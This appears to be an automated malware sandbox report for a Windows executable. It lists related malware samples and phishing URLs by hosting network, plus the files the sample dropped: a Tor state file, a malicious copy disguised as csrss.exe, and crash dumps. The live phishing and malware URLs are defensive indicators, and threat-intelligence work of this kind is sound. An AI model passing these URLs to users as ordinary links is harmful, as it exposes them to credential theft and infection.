	H2OePICEV5.elf	Get hash	malicious	Mirai	Browse	20.79.222.229
	https://www.fwnubar.asia/login	Get hash	malicious	Unknown	Browse	13.107.213.40
	https://www.grvgvrcls.run/login	Get hash	malicious	Unknown	Browse	13.107.246.41
	https://8dj76eb73n.z28.web.core.windows.net/	Get hash	malicious	HTMLPhisher	Browse	13.107.213.40
	https://plau47vd38sb.z1.web.core.windows.net/	Get hash	malicious	HTMLPhisher	Browse	13.107.213.40
	https://bafybeieghdy3zsgkmoae6sxhicqnpad6xmogj4q77dj4jytuprytj7hnc4.ipfs.fleek.cool/kaps.html	Get hash	malicious	HTMLPhisher	Browse	13.107.213.40
	Zs1Z9sd1Do.elf	Get hash	malicious	Mirai	Browse	52.247.50.59
	https://hammerhead-dark-oak.glitch.me/go.shtml	Get hash	malicious	HTMLPhisher	Browse	13.107.213.40
	https://www.flbalec.top/login	Get hash	malicious	Unknown	Browse	13.107.213.40
	https://www.awrgzru.cn/login	Get hash	malicious	Unknown	Browse	13.107.246.40
	https://www.mgotcdj.website/login	Get hash	malicious	Unknown	Browse	13.107.246.40
	https://www.mikub.xyz/login	Get hash	malicious	Unknown	Browse	13.107.213.40
	https://www.lrdhksh.top/login	Get hash	malicious	Unknown	Browse	13.107.213.41
	https://www.jokhtsl.online/login	Get hash	malicious	Unknown	Browse	13.107.246.40
IS-AS-1US	bcnu collective agreement bereavement leave 52220.js	Get hash	malicious	Unknown	Browse	68.168.208.14
	https://github.net.customiceasia.cam/runman.com?runman.com=jan.testowy@kghm.com	Get hash	malicious	HTMLPhisher	Browse	66.45.232.107
	Gd6ijNf7gf.exe	Get hash	malicious	AgentTesla	Browse	66.45.232.107
	b89T738ivk.exe	Get hash	malicious	AgentTesla	Browse	66.45.232.107
	SecuriteInfo.com.Win32.PWSX-gen.698.18014.exe	Get hash	malicious	AgentTesla	Browse	66.45.232.107
	IGCC.exe	Get hash	malicious	AgentTesla	Browse	66.45.232.107
	https://fgrammarly.com.discovertrade.shop/onesystems.com?fnewsystem.com=rp@emfa.pt&&rwavsbazbunfpepqqejbeysicgysmkokivwbjcykzlotbmxziw=9345204729840813482102576&?rilubvhgabkfgkrczkcittxme=93797579764026980334	Get hash	malicious	Unknown	Browse	162.250.124.218
	https://www.wallet.cloudwalletconnect.com/	Get hash	malicious	Unknown	Browse	74.50.74.206
	drIXBtQ5t4.exe	Get hash	malicious	FormBook	Browse	104.37.190.58
	https://wallet.cloudwalletconnect.com/	Get hash	malicious	Unknown	Browse	74.50.74.206
	https://bestandssm.xyz/product_details/3974767.html	Get hash	malicious	Unknown	Browse	209.159.144.131
	NEWMuxi4.ps1	Get hash	malicious	RedLine, zgRAT	Browse	66.45.255.162
	GntPlfffAN.elf	Get hash	malicious	Mirai	Browse	162.246.17.70
	K99ngImkEb.elf	Get hash	malicious	Mirai, Moobot	Browse	173.225.100.129
	https://mamobiles.pk/n/redirect.html#Ym1GMGFHRnNhV1V1YkdWelkyOXdMV0YxZEdWeVpVQmhablJ5WVd3dVkyOXQ=	Get hash	malicious	HTMLPhisher	Browse	66.45.230.29
	u7owoMHeAY.exe	Get hash	malicious	Amadey, Remcos, Vidar	Browse	66.45.250.2
	PAEGV8M4pu.elf	Get hash	malicious	Unknown	Browse	74.50.84.203
	https://bwspeakars.co/auth/public/?id=google.auth.Adfjguirojs==Jh7dbwJ12io3d4dotaGVscEBrZXQub3Jn	Get hash	malicious	HTMLPhisher	Browse	216.219.95.76
	akt-sverka_PDF.exe	Get hash	malicious	RMSRemoteAdmin, RedLine	Browse	66.23.226.254
	BUILD.bin.exe	Get hash	malicious	RMSRemoteAdmin	Browse	66.23.226.254
UNIFIEDLAYER-AS-1US	AUS_9141124-2023.exe	Get hash	malicious	FormBook	Browse	162.241.252.161
	https://selligenttier.naylorcampaigns.com/track?type=click&enid=ZWFzPTEmbXNpZD0mYXVpZD0mbWFpbGluZ2lkPTYyNDExMiZtZXNzYWdlaWQ9NjI0MTEyJmRhdGFiYXNlaWQ9NjI0MTEyJnNlcmlhbD0xNjgyODQwNyZlbWFpbGlkPVRpbUBFbGV2YXRlZGNnLmNvbSZ1c2VyaWQ9MjExMTg2JnRhcmdldGlkPSZtbj0mZmw9Jm12aWQ9JmV4dHJhPSYmJg==&&&9999&&&https://vegannightmarket.com/hsvds/UCIfO/amFjb3BvX21vc2NhQHRyZWtmci5jb20=	Get hash	malicious	HTMLPhisher	Browse	162.241.120.242
	open-order#456789.exe	Get hash	malicious	AgentTesla	Browse	50.87.139.143
	aMGTc878Pm.exe	Get hash	malicious	FormBook	Browse	192.185.223.51
	8MlaKaB5fV.exe	Get hash	malicious	FormBook	Browse	192.185.223.51
	https://iel.jej.mybluehost.me/rvk/css/net/login.php	Get hash	malicious	Unknown	Browse	50.87.254.15
	REVISE_FDA.exe	Get hash	malicious	AgentTesla	Browse	162.241.169.155
	https://events.bizzabo.com/auth/emailAssociatedLogin/verifyTokenAndRedirect?token=S9NcmjZghhHTu-K8Bn2uA9CkNhbMdZVLD_YG9HzIwMWMvvRTd-dklFn2bExx7385&eventGroupId=26969&redirectUrl=https%3A%2F%2Fbaddiebye.com/%2Fnew%2Freview%2Fwhoiop%2F%2F%2F%2FY2VAYWliLmdvdi51aw==	Get hash	malicious	HTMLPhisher	Browse	69.49.228.234
	SecuriteInfo.com.Linux.Siggen.9999.23998.17519.elf	Get hash	malicious	Mirai	Browse	98.131.204.233
	OOtCSoKbT8.elf	Get hash	malicious	Mirai	Browse	98.131.204.200
	https://luesa.co.tz/cotz/34567876547643/1536791658/dGltLndyaWdodEBjYWEuY28udWs=	Get hash	malicious	HTMLPhisher	Browse	192.185.28.253
	y1b1M01VF2.exe	Get hash	malicious	FormBook	Browse	162.144.13.104
	BSuHKTQogWYegWx.exe	Get hash	malicious	FormBook	Browse	162.241.252.161
	https://www.updatenetflixaccount.com/update.php	Get hash	malicious	Unknown	Browse	50.87.145.150
	Shipment_document.exe	Get hash	malicious	AgentTesla	Browse	50.87.139.143
	https://updatenetflixaccount.com/update.php	Get hash	malicious	Unknown	Browse	50.87.145.150
	91bf9340-4132-1a39-b40a-d4200e45cd47.eml	Get hash	malicious	HTMLPhisher	Browse	108.167.181.108
	https://events.bizzabo.com/auth/emailAssociatedLogin/verifyTokenAndRedirect?token=S9NcmjZghhHTu-K8Bn2uA9CkNhbMdZVLD_YG9HzIwMWMvvRTd-dklFn2bExx7385&eventGroupId=26969&redirectUrl=https%3A%2F%2Fluesa%E3%80%82co%E3%80%82tz/uks/34567876547643/1536791658/amFtZXMucmljaGFyZHNvbkBtYWdhaXJwb3J0cy5jb20=	Get hash	malicious	HTMLPhisher	Browse	192.185.28.253
	rRICO0928-2023.exe	Get hash	malicious	FormBook	Browse	162.241.252.161
	rCustomerOnDemandNotice.exe	Get hash	malicious	FormBook	Browse	162.241.252.161

Process:	C:\Users\user\Desktop\klWGq3yDcQ.exe
File Type:	ASCII text, with very long lines (356), with CRLF line terminators
Category:	dropped
Size (bytes):	4227
Entropy (8bit):	5.302243346969084
Encrypted:	false
SSDEEP:	48:c7/QxaSLDggEshKm5Fgx0tHxKZwLSl0UausrWVxNl64fPHKkY:4YDggEsYmHgx2G05KVLVPqkY
MD5:	765E24E127075F44F60BBEC82AB85290
SHA1:	0F64AC8072F9FB23CF5BBA0A5366047CA239C65D
SHA-256:	C236F5D3357ADBAA1FE4BCC6537A0E674689CCF3E6EF703D44ED6275C9D33455
SHA-512:	1083EB3A28006F5505F3D90D58916CBB853C4C3138347E14B0D62A114299F6762F3593F114824D7E300BE132F9F3DFBFF9F99596385AD4857D94F893606AECCD
Malicious:	false
Reputation:	low
Preview:	# Tor state file last generated on 2023-11-26 06:59:58 local time..# Other times below are in UTC..# You do not need to edit this file.....CircuitBuildTimeBin 725 1..CircuitBuildTimeBin 775 1..CircuitBuildTimeBin 825 2..CircuitBuildTimeBin 875 1..CircuitBuildTimeBin 925 1..CircuitBuildTimeBin 975 1..CircuitBuildTimeBin 1025 1..CircuitBuildTimeBin 1075 2..CircuitBuildTimeBin 1175 1..CircuitBuildTimeBin 1225 1..CircuitBuildTimeBin 1275 1..CircuitBuildTimeBin 1425 2..CircuitBuildTimeBin 1475 1..CircuitBuildTimeBin 1625 2..CircuitBuildTimeBin 2375 2..CircuitBuildTimeBin 12275 1..Dormant 0..Guard in=default rsa_id=BF93594384A02DE7689C4FD821E2638DA2CD4792 nickname=labaliseridicule sampled_on=2023-11-25T20:14:43 sampled_idx=0 sampled_by=0.4.4.9 listed=1 confirmed_on=2023-11-25T14:22:11 confirmed_idx=1 pb_use_attempts=8.000000 pb_use_successes=8.000000 pb_circ_attempts=10.000000 pb_circ_successes=9.000000 pb_successful_circuits_closed=9.000000..Guard in=default rsa_id=B8D3B9067FAA01EAACBC688

C:\ProgramData\Drivers\csrss.exe

Download File

Process:	C:\Users\user\Desktop\klWGq3yDcQ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1973248
Entropy (8bit):	7.914331766253071
Encrypted:	false
SSDEEP:	49152:T9+v9qBhn3hRk9XkSxV4QFTNXopKJe8FtU+0:5wqBZTk9X7bFTSphIK
MD5:	FE049DDD0FFD2DF34DA564208AFF9CEC
SHA1:	1DF42BAE63A1698B6070B198F9DCEB3AC2B1338E
SHA-256:	AA16EED6ABD2118DF6B0670813AE3B9DAB59B458BDC76222866C9A9FC0FA1409
SHA-512:	B46E677B3366E395A96761C768112ACB01ACFEACC92BC5F2749A923BCBC33E4EE6A1D9F5156CF6E250E217E79111E576F5567EAE2F7EB381FFA2E08162F1FFBC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 70%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................PE..L......c.................$...8.......a.......@....@..........................P)......1.......................................'..P....p(. ............................................................9..@............................................text...B".......$.................. ..`.data....*...@.......(..............@....rsrc... ....p(......D..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_klWGq3yDcQ.exe_5ab8dffadfd17da166bf44c094a954023413eb5_f6fad5ff_06f03d30-a664-4eef-bb18-74b786096fc7\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9615339586492504
Encrypted:	false
SSDEEP:	96:/tBVPWmCL1LtFsAyhnAI7aZPQXIDcQ4c6fcE+cw3akU+HbHgoC5AJee1NIDV9MrG:/jFMXFw0WbkzjN0zzuiFWZ24IO8H
MD5:	AE0405B01DD8D124FCA47215710CF65B
SHA1:	6C512CE015FDE03963DCB71F81AA8B58CEB717A6
SHA-256:	F82DD890B3C5844CF91EE205D6D7997540C54684E2D88DC0410E51F225960600
SHA-512:	217848FF2F5F9EEEF4CD4462FFDD36AC83E46F6211991BA3D5E6FF1C9083ABF9CD27F1E35905ACB0DB7BE3DE4BBE1ACFB89477E8AB86E140847B5459405266C6
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.4.5.4.5.2.0.4.8.2.3.5.6.3.8.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.4.5.4.5.2.0.4.9.0.7.9.3.8.1.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.6.f.0.3.d.3.0.-.a.6.6.4.-.4.e.e.f.-.b.b.1.8.-.7.4.b.7.8.6.0.9.6.f.c.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.4.7.0.1.b.b.5.-.4.9.2.9.-.4.c.5.7.-.b.f.1.9.-.5.6.3.6.8.8.9.8.2.9.2.4.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.k.l.W.G.q.3.y.D.c.Q...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.8.6.0.-.0.0.0.1.-.0.0.1.4.-.c.4.d.a.-.9.6.9.f.2.d.2.0.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.6.3.0.1.7.3.b.7.a.e.1.2.d.e.9.7.2.9.7.3.1.7.7.3.0.b.1.c.f.0.a.0.0.0.0.f.f.f.f.!.0.0.0.0.1.d.f.4.2.b.a.e.6.3.a.1.6.9.8.b.6.0.7.0.b.1.9.8.f.9.d.c.e.b.3.a.c.2.b.1.3.3.8.e.!.k.l.W.G.q.3.y.D.c.Q...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_klWGq3yDcQ.exe_5ab8dffadfd17da166bf44c094a954023413eb5_f6fad5ff_2af4128a-de8f-4495-8f78-94a7c68274e6\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9615709744454661
Encrypted:	false
SSDEEP:	96:73FIkLPmCL1LtEsAyhnAI7aZPQXIDcQNc6xBJcELAcw3LckU+HbHgoC5AJee1NIM:TdtXEw0zDJ2FjN0zzuiFxZ24IO8H
MD5:	73253E53D01C8A4EAD7987A3DA42C289
SHA1:	5F75550005032DE37B0255655082BA031B3C54D8
SHA-256:	C3B5F984D08759CE17A4B1CA2166CEB2C73706B0C00A72B2A8C92CAE1BEBA089
SHA-512:	33D7E0843ACDE449149FFB2598F0AAF3950A64BB5D281708653E451BD650CB459CF034651C795E7675B03E10D1A72E59EAF2E5C5BF6A4D1109817FF9EE4B4579
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.4.5.4.5.2.0.0.7.5.0.9.0.2.5.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.4.5.4.5.2.0.1.4.9.3.0.8.9.9.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.a.f.4.1.2.8.a.-.d.e.8.f.-.4.4.9.5.-.8.f.7.8.-.9.4.a.7.c.6.8.2.7.4.e.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.e.d.e.e.7.f.1.-.c.e.7.4.-.4.7.b.a.-.a.4.7.2.-.e.7.1.8.e.2.1.3.5.5.3.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.k.l.W.G.q.3.y.D.c.Q...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.8.6.0.-.0.0.0.1.-.0.0.1.4.-.c.4.d.a.-.9.6.9.f.2.d.2.0.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.6.3.0.1.7.3.b.7.a.e.1.2.d.e.9.7.2.9.7.3.1.7.7.3.0.b.1.c.f.0.a.0.0.0.0.f.f.f.f.!.0.0.0.0.1.d.f.4.2.b.a.e.6.3.a.1.6.9.8.b.6.0.7.0.b.1.9.8.f.9.d.c.e.b.3.a.c.2.b.1.3.3.8.e.!.k.l.W.G.q.3.y.D.c.Q...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_klWGq3yDcQ.exe_5ab8dffadfd17da166bf44c094a954023413eb5_f6fad5ff_2fbba0c3-0571-42f0-b073-3c1e8e258d51\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9615611242756577
Encrypted:	false
SSDEEP:	96:gW7FiWmCL1Ltu3sAyhnAI7aZPQXIDcQxc6scEqcw3f7kU+HbHgoC5AJee1NIDV9g:T0MXu3w0PowD2jN0zzuiFxZ24IO8H
MD5:	025E9E846233235DF56D02B48C198B9C
SHA1:	7941C3FD79ECB38A13A5BEB86618FA4884C9CB3E
SHA-256:	E9A53BDA12A0290A990F671045FCD66E845BEDE5358E0984BB0452995AAB2E1A
SHA-512:	5C878A64CC4E1A7D936053BFDFDA1FA13BF49974151A429662B870D15CC4454C1B78231BAD2043AEE5B32A1C69B01580D1DD377B41E7A188E6640C051FAC643A
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.4.5.4.5.1.9.8.5.8.7.5.1.5.7.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.4.5.4.5.1.9.9.4.3.7.5.1.4.9.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.f.b.b.a.0.c.3.-.0.5.7.1.-.4.2.f.0.-.b.0.7.3.-.3.c.1.e.8.e.2.5.8.d.5.1.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.8.2.0.1.f.6.6.-.1.9.6.a.-.4.8.3.a.-.8.a.e.3.-.0.7.a.4.6.7.d.c.5.e.d.c.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.k.l.W.G.q.3.y.D.c.Q...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.8.6.0.-.0.0.0.1.-.0.0.1.4.-.c.4.d.a.-.9.6.9.f.2.d.2.0.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.6.3.0.1.7.3.b.7.a.e.1.2.d.e.9.7.2.9.7.3.1.7.7.3.0.b.1.c.f.0.a.0.0.0.0.f.f.f.f.!.0.0.0.0.1.d.f.4.2.b.a.e.6.3.a.1.6.9.8.b.6.0.7.0.b.1.9.8.f.9.d.c.e.b.3.a.c.2.b.1.3.3.8.e.!.k.l.W.G.q.3.y.D.c.Q...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER50D1.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, CheckSum 0x00000004, Sun Nov 26 06:00:48 2023, 0x1205a4 type
Category:	dropped
Size (bytes):	372510
Entropy (8bit):	2.7210066552598007
Encrypted:	false
SSDEEP:	1536:Z7P2Km8FMd5Nws0WV756lT68npw1OJ57jyzpIbm4/odUPrPTV1bQ0nWxN0J4J:ZbjWdp0Q756lTtniObtucWxzJ
MD5:	5095401518006B65E67C4179407AAD12
SHA1:	879DC5286CC57A249AA170DA1FAEF914D8627630
SHA-256:	54A49C8D6594E114B682690B7E342B93993E43BCA57A83C09E23D14E3847D160
SHA-512:	76E97541E1CFEAE2A91F531D411D9C3857FFAA5E6DEFC69D92802D407E8C32245784287F3EFAB67977A70B1379DBD0C72D8A9F88C00D9FA67A946E7505AE8129
Malicious:	false
Preview:	MDMP..a..... .........be............4...............H.......,...<.......$...(+..........`.......8...........T...........................h...........T ..............................................................................eJ....... ......GenuineIntel............T.......`.....be.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER52E6.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6340
Entropy (8bit):	3.7037426526302784
Encrypted:	false
SSDEEP:	192:R6l7wVeJLgA6OvEdYY3pDR489bHmsf6tm:R6lXJT6OEYYrFHFfZ
MD5:	5584B70F1C9208BFD632160DB100F2E9
SHA1:	5B2D16D2FC126742BE07BA9BBA0FB3BF01961C21
SHA-256:	BD48EBFC2872ECF5D2679DFE1E46F8C18C1E89BAF89461F2747B2214C606DB0D
SHA-512:	17F333082CAA1422EC94943CB6103A1D8ADF279CB23DF5B3F44779CEC42939CD4CF62894F0DFCCD59E27FB32AF0EBC0567B99829BEBF6323AE2ADFACFD2ADFCC
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.2.4.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5316.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4578
Entropy (8bit):	4.471912993855923
Encrypted:	false
SSDEEP:	48:cvIwWl8zsqJg77aI93cWpW8VYAYm8M4Js/vL/PjFkj+q8T9JDGiHozziUCDUydd:uIjf4I75V7VsJMTuj0JPIzxCwydd
MD5:	2492584B6DA3C6272407B645E32B91DF
SHA1:	6D14819ECDB29E52E26D29AAFEF17E9576D11F46
SHA-256:	9C023EFB5422DA65803756411A752176EC866446A8162499640FAF6161831476
SHA-512:	2915D94BD34D51CC4588685A9367DB908366FC19904DFED18B9FFEA74747323D27DA6B97459528778FFDD6314CE14749CC76159646C30413A761CB599D4E4218
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="77583" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5D3A.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Sun Nov 26 05:59:48 2023, 0x1205a4 type
Category:	dropped
Size (bytes):	4367457
Entropy (8bit):	2.28524546066451
Encrypted:	false
SSDEEP:	12288:VFwXh/1NRWr0hn8aJK9rWPdPW4F672wVlXYHVCTN5Wd+4DMjwWStIif/fuQT7PhV:VFw37/FnTilPAO
MD5:	91CE806E1EDB9DA41F9D83BE3AB96E48
SHA1:	7D568CBE73A75C5F80B82F5E3641CF15177A8AA7
SHA-256:	414EEC5E653D5338A21368FEF25873A1CE1772B88968DC2B7E3C068D392AEDC3
SHA-512:	E7E6B796ADFA2574E7D3C2D306B317FDDECE453A794CE607B70F73F55F2A218AD7F838A9B6E0D51EE838A05C3DD97282F821DFA61C55D9399F7144974B12EF87
Malicious:	false
Preview:	MDMP..a..... .........be.............l...............s......,...........................`.......8...........T.................?.........8...........$...............................................................................eJ..............GenuineIntel............T.......`.....be.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7C4C.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6336
Entropy (8bit):	3.7233934377221938
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbqgb6TYHdO8zNzAgaM4U089bKmsffNum:R6l7wVeJLb6TYY8npr089bKmsffNum
MD5:	2FCC976BC868605552F6438FD8498B40
SHA1:	4225C0D195BE8C5A67C157375853625B513CA443
SHA-256:	82029DE94657E991C821B2966E12DDB7FD38D1E67FAA9763F8AAD009C5F7C55E
SHA-512:	A048149F758C2FCDEDE95C3A47D8DE9900EBFBD5F7F7016A3A3AD53D2E1663BF0F7128910D9391512C9F69B32DC7325AC0FEFC130063DE1F867E62E214EAE903
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.2.4.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7CBB.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4578
Entropy (8bit):	4.4680257951074
Encrypted:	false
SSDEEP:	48:cvIwWl8zsBJg77aI93cWpW8VYBYm8M4Js/vL/PjFdd+q8T9JDGiHozziUCDUydd:uIjfTI75V7VRJMT7d0JPIzxCwydd
MD5:	ED4C59B3B71C332D555F780711DD5E18
SHA1:	9A5FA764B02A31CBD96D4A523826212E648DCC48
SHA-256:	F73F372E4FA1C814BE5290B6B4A7FE80B07A9B062777663CC2E5B3445EDA09BE
